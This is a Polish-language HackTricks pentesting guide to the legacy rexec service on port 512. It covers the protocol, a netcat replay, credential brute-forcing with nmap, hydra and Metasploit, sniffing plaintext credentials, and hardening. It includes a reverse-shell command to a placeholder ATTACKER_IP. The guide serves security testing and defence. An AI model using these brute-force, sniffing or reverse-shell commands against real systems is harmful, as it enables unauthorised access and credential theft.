512 - Pentesting Rexec

Reading time: 5 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Rexec (remote exec) jest jednym z oryginalnych zestawów usług Berkeley r (razem z rlogin, rsh, …). Oferuje możliwość zdalnego wykonywania poleceń autoryzowaną tylko za pomocą nazwy użytkownika i hasła w postaci czystego tekstu. Protokół został zdefiniowany na początku lat 80-tych (zobacz RFC 1060) i obecnie uważany jest za niebezpieczny z założenia. Niemniej jednak, wciąż jest domyślnie włączony w niektórych starszych urządzeniach UNIX / podłączonych do sieci i czasami pojawia się podczas wewnętrznych pentestów.

Domyślny port: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 Cały ruch – w tym dane uwierzytelniające – jest przesyłany niezaszyfrowany. Każdy, kto ma możliwość podsłuchiwania sieci, może odzyskać nazwę użytkownika, hasło i polecenie.

Szybki przegląd protokołu

  1. Klient łączy się z TCP 512.
  2. Klient wysyła trzy łańcuchy zakończone NUL:
  • numer portu (w formacie ASCII), na którym chce odbierać stdout/stderr (często 0),
  • nazwa użytkownika,
  • hasło.
  1. Wysyłany jest końcowy łańcuch zakończony NUL z poleceniem do wykonania.
  2. Serwer odpowiada pojedynczym bajtem statusu 8-bitowego (0 = sukces, 1 = niepowodzenie), po którym następuje wynik polecenia.

To oznacza, że możesz odtworzyć wymianę za pomocą niczego więcej niż echo -e i nc:

bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

Jeśli dane uwierzytelniające są ważne, otrzymasz wynik id bezpośrednio na tym samym połączeniu.

Ręczne użycie z klientem

Wiele dystrybucji Linuksa nadal dostarcza starszego klienta w pakiecie inetutils-rexec / rsh-client:

bash
rexec -l user -p password <target> "uname -a"

Jeśli -p jest pominięty, klient poprosi interaktywnie o hasło (widoczne w ruchu w postaci czystego tekstu!).


Enumeracja i Brute-forcing

Brute-force

Nmap

bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

rexec-brute NSE używa opisanego powyżej protokołu do szybkiego próbowania poświadczeń.

Hydra / Medusa / Ncrack

bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra ma dedykowany moduł rexec i pozostaje najszybszym offline bruteforcerem. medusa (-M REXEC) i ncrack (moduł rexec) mogą być używane w ten sam sposób.

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Moduł uruchomi powłokę po pomyślnym wykonaniu i zapisze dane uwierzytelniające w bazie danych.


Sniffing credentials

Ponieważ wszystko jest w postaci czystego tekstu, przechwytywanie sieciowe jest bezcenne. Mając kopię ruchu, możesz wyodrębnić dane uwierzytelniające bez dotykania celu:

bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark włącz Decode As …​ TCP 512 → REXEC, aby zobaczyć ładnie sparsowane pola.)


Wskazówki po eksploatacji

  • Komendy są uruchamiane z uprawnieniami podanego użytkownika. Jeśli /etc/pam.d/rexec jest źle skonfigurowany (np. pam_rootok), czasami możliwe są powłoki roota.
  • Rexec ignoruje powłokę użytkownika i wykonuje polecenie za pomocą /bin/sh -c <cmd>. Możesz zatem używać typowych sztuczek ucieczki z powłoki (;, $( ), backticks) do łączenia wielu poleceń lub uruchamiania powłok zwrotnych:
bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Hasła często są przechowywane w ~/.netrc na innych systemach; jeśli skompromitujesz jeden host, możesz je ponownie wykorzystać do ruchu bocznego.

Utwardzanie / Wykrywanie

  • Nie eksponuj rexec; zastąp go SSH. Praktycznie wszystkie nowoczesne inetd superserwery domyślnie komentują tę usługę.
  • Jeśli musisz go zachować, ogranicz dostęp za pomocą TCP wrappers (/etc/hosts.allow) lub reguł zapory i wymuszaj silne hasła dla każdego konta.
  • Monitoruj ruch do :512 oraz uruchamianie procesów rexecd. Pojedynczy zrzut pakietów wystarczy, aby wykryć kompromitację.
  • Wyłącz rexec, rlogin, rsh razem – dzielą większość tej samej bazy kodu i słabości.

Odniesienia

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks